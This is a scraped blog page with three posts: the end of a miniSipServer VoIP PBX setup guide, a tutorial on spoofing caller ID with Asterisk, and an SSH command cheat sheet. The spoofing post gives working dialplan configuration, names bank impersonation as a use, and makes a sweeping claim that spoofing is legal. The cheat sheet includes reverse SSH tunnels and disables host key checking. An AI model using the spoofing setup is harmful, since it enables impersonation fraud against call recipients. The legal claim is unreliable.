<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here, we just have a brief look at these services in this document. We can refer to their own service guide documents or visit miniSipServer official website for <a href="http://www.myvoipapp.com/docs/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">details</a>. The service guide documents are installed with miniSipServer at the same time.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.1 Voice mail</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Sometime we maybe miss some important call because we have left the office. That means the business is possible gone! How to avoid this? The answer is voice mail. We hope the customer can leave their voice message and the miniSipServer mails these voice messages to our e-mail box, so we can check them at any time.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/voice_mail/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Voice mail service document</a>".</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.2 Ringing group</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">"Ringing group" is another useful service for our business. For example, when the customer calls Holly, the Holly's phone and the G.T's phone can ring at the same time if they are in the same ring group. So anyone of them can pick up the call.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/ring_group/service_guide_ring_group.htm" style="color: #0080ff; font-weight: bold; text-decoration: none;">Ringing group service docuemnt</a>"</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6. FAQ</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.1 How to change SIP port?</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The default SIP port is 5060 (UDP) which is defined in SIP standard. But in some special scenarios, we need change this port to another, for example 5090.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To do that, we need modify MSS and SIP phones configurations together.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In MSS, please click menu "data -> system information -> SIP" and change the port. Please refer to following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in MSS" name="faq_sip_poprt_mss" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_mss.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please restart MSS to enable this modification.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the Xlite (or other SIP phones), we need indicate it to work with the new port. In the SIP account configuration, please set the "domain" to "<a href="http://192.168.1.110:5090/">192.168.1.110:5090</a>":</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in Xlite" name="faq_sip_poprt_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_xlite.jpg" /></span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.2 one-way audio or no-way audio problem?</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We are often asked "why I cannot hear peer side?" or "why we cannot hear each other?". The root reason is firewall or NAT(network address translation). In these scenarios, we can often find that MSS and the SIP phones are deployed in an intranet with private IP address.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">First, we need confirm the firewall should not filter the audio streams in our network. For example, windows firewall often do that. We can try to shutdown the firewall and try again. If everything is ok, that means we need add MSS and Xlite to the windows firewall exception list.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If we still cannot hear each other, we need configure STUN in the SIP phones to process NAT or firewall traversal. In the Xlite, please click menu "Softphons -> Account settings -> Topology". We can configure "Discover public IP address" and configure "<a href="http://stun.xten.com/">stun.xten.com</a>" as the default STUN server.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="Configure STUN in Xlite" name="faq_stun_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_stun_xlite.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">BTW, if all your SIP phones are Xlite, you can configure the "Firewall traversal method" to be "auto-detect firewall traversal method using ICE(recommended)".</span></div>
<br />
<div>
<br /></div>
-- <br />
<div dir="ltr">
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
<br /></div>

Linux Linux Tutorials SIP Tutorials VoIP Setup IP PBX for small business step by step

Index 1. Instruction 2. What's VOIP? 2.1 IP-PBX 2.2 Phones 2.3 VOIP carriers 3. Scenario 4. Configuration...

Caller ID Spoofing with Asterisk

7/03/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS3IdKYrF_dEEwkz2LS6MVLA0DKsPUxQb2eRyk5PbJ2udQ-q21HZObtrZODT4zCninDDBKzXHq3LKpOKjdVtqwpP0tRjSxIBBrBnAg8a0TyYNgF3hjoVNGDUu9CgvklSCgIJY5ltxHqyA/s1600/voip-hack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Caller ID Spoofing with Asterisk" border="0" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS3IdKYrF_dEEwkz2LS6MVLA0DKsPUxQb2eRyk5PbJ2udQ-q21HZObtrZODT4zCninDDBKzXHq3LKpOKjdVtqwpP0tRjSxIBBrBnAg8a0TyYNgF3hjoVNGDUu9CgvklSCgIJY5ltxHqyA/s1600/voip-hack.jpg" title="Caller ID Spoofing with Asterisk" width="320" /></a></div>
<br />
<div>
<span class="Apple-style-span"></span><br />
<h3>
<span class="Apple-style-span">Caller ID Spoofing w/ Asterisk</span></h3>
<div class="region region-content">
<div class="block block-system" id="block-system-main" style="clear: both; margin: 0px 0px 15px; position: relative;">
<div class="block-inner clearfix" style="background-image: none; margin-left: 10px; margin-right: 10px;">
<div class="block-content" style="padding: 0px;">
<div class="article-content" style="clear: both; line-height: 1.5em; margin: 1em 0px 0.5em;">
<div class="field field-name-body field-type-text-with-summary field-label-hidden">
<div class="field-item even">
<div class="chili-highlighter highlight-processed">
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Caller ID is often thought of as the ultimate way to see who is calling you. People use it to screen calls all the time. When you're able to spoof that number to whatever you would like you can easily defeat human nature of screening out calls from people they don't want to talk to. Besides being able to get in touch with those ignoring your calls it can be an attackers best friend. He or she can simply spoof your bank's number and social engineer you into giving out valuable information. The way people rely on caller ID it is unlikely the victim will realize what has happened until it is far too late.</span></div>
<h3>
Hardware Used:</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">Intel P4 box with 1GB of RAM</span></li>
<span class="Apple-style-span"> </span></ul>
<h3>
Software Used:</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">  Ubuntu 7.10 Server</span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;">Asterisk</li>
<li style="margin: 0px; padding: 0px;">  VMWare Workstation</li>
</span></ul>
<h3>
Prerequisites</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">VoIP service from companies like NuFone or VoicePulse which allow you to use your own PBX</span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;">Asterisk installed and able to run</li>
<li style="margin: 0px; padding: 0px;">  Basic Linux knowledge</li>
</span></ul>
<h3>
Table of Contents</h3>
<ol style="list-style-type: decimal; margin: 0px 0px 1.5em 1.667em; padding: 0px;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#intro" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Introduction</a></span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#config" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Configuring Asterisk</a></li>
<li style="margin: 0px; padding: 0px;"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#final" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Final Thoughts</a></li>
</span></ol>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" id="intro" name="intro" style="font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;"></a></span></div>
<h3>
Introduction</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">There are 3 main configuration files that need a bit of tweaking to get Asterisk working properly. These are iax.conf, sip.conf, and extensions.conf. The names pretty much tell you what each will be configuring. IAX is Inter-Asterisk Exchange and is the protocol used when connecting two Asterisk servers and is perfect for NAT transversal unlike the nightmare of SIP. SIP is the protocol that software based phones or hardware IP phones use to connect to the Asterisk box and extensions are what process call flow and routing. These configuration files all follow the standard "INI" file type where sections are denoted such as <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">[section1]</code> and variables under sections are declared simply with <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">var=foo</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" id="config" name="config" style="font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;"></a></span></div>
<h3>
Configuring Asterisk</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">First thing we'll cover is setting up the connection to your VoIP provider. Most good providers will give you a sample iax configuration file that you can look over for specifics to your service but in most cases simple open up <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">/etc/asterisk/iax.conf</code>and add a few lines at the end as follows:</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[VoicePulse]<br />
type=peer<br />
host=<a href="http://server.example.voicepulse.com/">server.example.voicepulse.com</a><br />
username=SomeuSer<br />
secret=PaSsWorD</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">The first line there gives this connection a human readable name. The type tells Asterisk what type of connection this will be. Peer lets us know we will be sending calls through this connection. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Host</code>, <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">username</code>, and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">secret</code> are all used to make the connection and authenticate. All of this should be given to you by your provider. As you can see this configuration is very basic and there are tons more options that can be done if this was going to be used in a production environment. The next file we need to edit is<code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">/etc/asterisk/sip.conf</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[sipuser]<br />
type=peer<br />
host=dynamic<br />
username=allan<br />
secret=1234<br />
context=outgoing</div>
<br />
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">First line is again used to give the connection a name and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">type</code> lets Asterisk know we can send calls to this connection and also make calls out. Setting <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">host</code> to <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">dynamic</code> ensures Asterisk keeps track of the IP/Hostname of the connection since it uses a dynamic IP. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Username</code> and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">secret</code> are the username and password used to make the connection and context is used to simply tell Asterisk which context in the extension configuration to use. This lets Asterisk route the call as needed and be changed for each SIP user if you would like. The last configuration file for Asterisk is located in the same directory and named <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">extension.conf</code>. Open it up and add the following to the end:</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[outgoing]<br />
exten => _1NXXNXXXXXX,1,SetCallerID(2024561111)<br />
exten => _1NXXNXXXXXX,n,Dial(IAX2/VoicePulse/${EXTEN})</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Once again the first line is used to give a name to our settings. In this case it is called a context and that is what Asterisk uses to place calls based on your own rules. The next two lines will match any 1 + 10 digit US number. The N's and X's are basically just wild cards N matching any digit greater than 2 and X matching any at all. The 1 tells Asterisk to do that command first and the n is used to say "do this next" is basic terms. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">SetCallerID()</code> is the key to spoofing caller ID. Here you can change the number to whatever you would like but most providers require a 10 digit number while others will let you even set your caller ID to numbers like 911. The next command is <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Dial()</code> which is what we use to send off the call. The arguments used tell Asterisk to use the IAX2 protocol to our VoicePulse connection and to route the call to what we've dialed. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">${EXTEN}</code> is just a global variable used for the number dialed.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Everything should now be setup correctly and ready to use. The only thing left to configure is your softphone or IP phone depending what you are using. This is specific to individual phones and out of the scope of my project but essentially you tell your phone to connect to your Asterisk server. Often times from experience softphones will refer to this as "releam" or "domain" depending what phone you use (I recommend X-Lite or Twinkle). Besides that it will just ask for your username and password which were setup in <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">sip.conf</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<span class="Apple-style-span"><br />
</span> <br />
<center>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div align="center" style="display: block; margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px; text-align: center; width: 820px;">
<span class="Apple-style-span"><b>CID Spoofing In Action</b></span><br />
<span class="Apple-style-span"><img height="299" src="http://allanfeid.com/sites/default/files/cid_white_house.jpg" style="border-width: 0px;" width="500" /></span></div>
</center>
<span class="Apple-style-span">As you can see because of <a href="http://www.voip-info.org/wiki/view/CallerID" style="color: black; font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;" title="Caller ID">CNAM</a> it shows the owner of that number as well as the actual number. Sorry about the image quality I could not take a picture of my phone without it being blurry :( but you get the idea.</span><br />
<br /></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br />
<h3>
Final Thoughts</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Caller ID spoofing is not illegal in anyway. You should however worry about committing fraud as there are tons of laws against that. The real use of caller ID spoofing is to just trick your friends and have some fun. Don't do anything stupid. This is just information I'm trying to spread in order to show people that you can't always trust what your caller ID says.</span></div>
</div>
</div>

Asterisk Linux Linux Tutorials SIP Tutorials VoIP Caller ID Spoofing with Asterisk

Caller ID Spoofing w/ Asterisk Caller ID is often thought of as the ultimate way to see who is calling you. People use it t...

SSH Cheat Sheet

6/28/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<style>
    .markdown-body table {
        border-collapse: separate;
    }
    .markdown-body code, .markdown-body tt {
        background-color: rgba(27,31,35,.05);
        border-radius: 3px;
        font-size: 85%;
        margin: 0;
        padding: .2em .4em;
    }
    .markdown-body table td, .markdown-body table th {
    border: 1px solid #dfe2e5;
    padding: 6px 13px;
    }
    .markdown-body table tr {
    background-color: #fff;
    border-top: 1px solid #c6cbd1;
    }
    .markdown-body table tr:nth-child(2n) {
    background-color: #f6f8fa;
    }
    </style>
    
    <br />
<div class="markdown-body">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s1600/ssh-cheatsheet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="224" data-original-width="360" height="398" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s640/ssh-cheatsheet.png" width="640" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands.</div>
<h2>
    1.1 SSH general</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>ssh without input password</td><td><code>sshpass -p '<your-passwd>' ssh <username>@<ssh_host></code>, <code>brew install sshpass</code></td></tr>
<tr><td>Install sshd server</td><td><code>apt-get install openssh</code>, <code>apt-get install openssh-server</code></td></tr>
<tr><td>Restart sshd server</td><td><code>service sshd restart</code>, <code>systemctl reload sshd.service</code></td></tr>
<tr><td>Run ssh command</td><td><code>ssh -o StrictHostKeyChecking=no -p 2702 root@172.17.0.8 date</code></td></tr>
<tr><td>SSH with verbose ouptut</td><td><code>ssh -vvv -p 2702 root@45.33.87.74 date 2>&1</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.150.0/24 -e ...</code></td></tr>
<tr><td>SSH passwordless login</td><td><code>ssh-copy-id <username>@<ssh_host></code>, Or manually update <code>~/.ssh/authorized_keys</code></td></tr>
<tr><td>Remove an entry from <code>known_hosts file</code></td><td><code>ssh-keygen -f ~/.ssh/known_hosts -R github.com</code></td></tr>
<tr><td>Diff local file with remote one</td><td><code>diff local_file.txt <(ssh <username>@<ssh_host> 'cat remote_file.txt')</code></td></tr>
<tr><td>Diff two remote ssh files</td><td><code>diff <(ssh user@remote_host 'cat file1.txt') <(ssh user2@remote_host2 'cat file2.txt')</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>SSH agent load key</td><td><code>exec ssh-agent bash && ssh-add /tmp/id_rsa</code>, <code>ssh-add</code></td></tr>
<tr><td>SSH list all loaded key</td><td><code>ssh-add -l</code></td></tr>
<tr><td>SSH agent create and load key</td><td><code>exec ssh-agent bash && ssh-keygen</code>, <code>ssh-add</code></td></tr>
<tr><td>Emacs read remote file with tramp</td><td><code>emacs /ssh:<username>@<ssh_host>:/path/to/file</code></td></tr>
</tbody></table>
<h2>
        1.2 SSH tunnel & ssh proxy</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>SSH port forward to a local port</td><td><code>ssh -N -i <ssh-keyfile> -f root@54.179.178.214 -L *:18085:localhost:8085 -n /bin/bash</code></td></tr>
<tr><td>Reverse port forward to remote server</td><td><code>ssh -R *:40099:localhost:22 root@54.179.178.214</code>, <code>ssh -p 40099 root@54.179.178.214</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.111.0/24 192.168.150.0/24 192.167.0.0/24</code></td></tr>
</tbody></table>
<h2>
        <a aria-hidden="true" class="anchor" href="https://github.com/DennyZhang/cheatsheet-ssh-A4#13-scp" id="user-content-13-scp"><svg aria-hidden="true" class="octicon octicon-link" height="16" viewbox="0 0 16 16" width="16"></svg></a></h2>
<h2>
        1.3 SCP</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Download a remote folder</td><td><code>scp -r ec2-user@<ssh-host>:/home/letsencrypt-20180825 ./</code></td></tr>
<tr><td>Upload a file</td><td><code>scp -i <ssh-keyfile> /tmp/hosts ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload a folder</td><td><code>scp -r /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Mount remote directory as local folder</td><td><code>sshfs name@server:/path/remote_folder /path/local_folder</code></td></tr>
</tbody></table>
<h2>
        1.4 SSH security</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Disable ssh by password</td><td><code>sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Disable root login</td><td><code>sed -i 's/^PermitRootLogin yes/#PermitRootLogin yes/' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Enable/Disable SSH Host Key Checking</td><td><code>StrictHostKeyChecking yes</code> change <code>~/.ssh/config</code></td></tr>
<tr><td>Protect SSH server from brute force attacks</td><td><a href="https://www.digitalocean.com/community/tutorials/how-to-protect-ssh-with-fail2ban-on-ubuntu-14-04" rel="nofollow">fail2ban command line tool</a></td></tr>
</tbody></table>
<h2>
        1.5 SSH files</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Generate a new key pair</td><td><code>ssh-keygen</code>, <code>ssh-keygen -C "your_email@example.com" -t rsa</code></td></tr>
<tr><td>Generate key pair without interaction</td><td><code>ssh-keygen -t rsa -f /tmp/sshkey -N "" -q</code></td></tr>
<tr><td>Add passphrase protection to ssh keyfile</td><td><code>ssh-keygen -p -f id_rsa</code> </td></tr>
<tr><td>Convert OpenSSL format to SSH-RSA format</td><td><code>ssh-keygen -f my_ssh.pub -i</code></td></tr>
<tr><td>Critical ssh files/folders</td><td><code>~/.ssh/authorized_keys</code>, <code>~/.ssh/config</code>, <code>~/.ssh/known_hosts</code></td></tr>
<tr><td>SSH config file</td><td><code>/etc/ssh/ssh_config</code>, <code>/etc/ssh/sshd_config</code></td></tr>
<tr><td>SSH key file permission</td><td><code>chmod 600 ~/.ssh/id_rsa</code></td></tr>
<tr><td>SSH folder permission</td><td><code>chmod 700 ~/.ssh</code>, <code>chown -R $USER:$USER ~/.ssh</code></td></tr>
<tr><td>Authorized_keys file permission</td><td><code>chmod 644 ~/.ssh/authorized_keys</code></td></tr>
</tbody></table>
<h2>
        1.6 Parse ssh log file</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Command</th></tr>
<tr><td>Events of ssh down</td><td><code>grep -R "ssh.*Received signal 15" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh up</td><td><code>grep -R "sshd.*Server listening" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh failed login</td><td><code>grep -R "sshd.*Failed password for invalid user" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh break-in attemp</td><td><code>grep -R "sshd.*POSSIBLE BREAK-IN ATTEMPT!" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh port scap</td><td><code>grep -R "sshd.*Bad protocol version identification" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by public key</td><td><code>grep -R "sshd.*Accepted publickey for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by password</td><td><code>grep -R "sshd.*Accepted password for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh logout event</td><td><code>grep -R "sshd.*pam_unix(sshd:session): session closed for" /var/log/auth.log</code></td></tr>
</tbody></table>
<h2>
        1.7 SSH tools</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th><th><br /></th></tr>
<tr><td>Export local env to Internet</td><td><a href="https://ngrok.com/" rel="nofollow">ngrok.com</a></td><td><br /></td></tr>
<tr><td>Reverse ssh proxy</td><td><a href="https://github.com/sshuttle/sshuttle">sshuttle</a></td><td><br /></td></tr>
<tr><td>SSH by auto input password</td><td><a href="https://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/" rel="nofollow">sshpass</a> sshpass -p “$PASSWORD” ssh -o StrictHostKeyChecking=no $username@$ssh_ip=</td><td><br /></td></tr>
</tbody></table>
<h2>
        1.8 Scripts</h2>
<ul>
<li>Inject local key to remote ssh server server</li>
</ul>
<div class="command wobble-horizontal">
<pre>cat <span class="pl-k">~</span>/.ssh/id_rsa.pub <span class="pl-k">|</span> ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat - >> ~/.ssh/authorized_keys<span class="pl-pds">"</span></span>
        
        ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat ~/.ssh/authorized_keys<span class="pl-pds">"</span></span></pre>
</div>
<ul>
<li>SSH Config file</li>
</ul>
<div class="content shadow-radial">
<pre>Host sandbox
             HostName 192.168.50.10
             StrictHostKeyChecking no
             User root
        </pre>
<pre>Host 192.168.1.*
           StrictHostKeyChecking no
           Port 32882
           UserKnownHostsFile=/dev/null
           IdentityFile ~/.ssh/id_rsa
        </pre>
</div>
<ul>
<li>Use expect to run ssh command with credential auto input</li>
</ul>
<div class="content shadow-radial">
<pre>    #!/usr/bin/expect
    set timeout 20
    set command "cat /etc/hosts"
    set user "vagrant"
    set password "vagrant"
    set ip "192.168.50.10"
    spawn ssh -o stricthostkeychecking=no $user@$ip "$command"
    expect "*password:*"
    send "$password\r"
    expect eof;</pre>
</div>
<ul>
<li>ssh reverse tunnel</li>
</ul>
<div class="content shadow-radial">
<pre>    # https://www.howtoforge.com/reverse-ssh-tunneling
    autossh -M 40000 -p 2702 -i /home/denny/al -fN \
        -o "PubkeyAuthentication=yes" \
        -o "StrictHostKeyChecking=false" -o "PasswordAuthentication=no" \
        -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" \
        -R 123.57.240.189:29995:localhost:22 root@123.57.240.189
    </pre>
</div>
</div>
</div>

Cheat Sheet Linux Tutorials SSH Tutorials SSH Cheat Sheet

This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands...